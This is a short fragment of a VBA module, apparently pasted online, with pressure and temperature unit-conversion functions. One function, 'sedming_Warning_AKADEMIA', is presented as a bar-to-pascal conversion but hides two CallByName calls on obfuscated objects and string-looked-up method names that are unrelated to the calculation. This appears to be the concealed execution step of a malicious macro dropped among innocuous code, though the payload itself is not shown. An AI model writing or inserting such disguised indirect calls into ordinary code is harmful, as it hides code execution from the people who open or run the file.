  912.  paToBar = (1# * 10 ^ 5) ^ -1 * pressure
  913. End Function
  914. Public Function sedming_Warning_AKADEMIA(pressure As Double)
  915. ROSTIX = CallByName(Result__1, constans_Result(1000 / 100), VbGet)
  916.  CallByName Freddy_Result, constans_Result(9), VbMethod, ROSTIX
  917.  sedming_Warning_AKADEMIA = (1# * 10 ^ 5) * pressure
  918. End Function
  919. Public Function PaToPsi(pressure As Double)
  920.  PaToPsi = pressure / (6.894757 * 10 ^ 3)
  921. End Function
  922. Public Function PsiToPa(pressure As Double)
  923.  PsiToPa = pressure * (6.894757 * 10 ^ 3)
  924. End Function
  925. Public Function KelvinToCelsius(temperature As Double)
  926.  KelvinToCelsius = temperature - 273.15
  927. End Function
  928. Public Function CelsiusToKelvin(temperature As Double)
  929.  CelsiusToKelvin = temperature + 273.15
  930. End Function
  931. Public Function RankineToCelsius(temperature As Double)
  932.  RankineToCelsius = (temperature - 491.67) * (5 / 9)
  933. End Function
Add Comment
Please, Sign In to add comment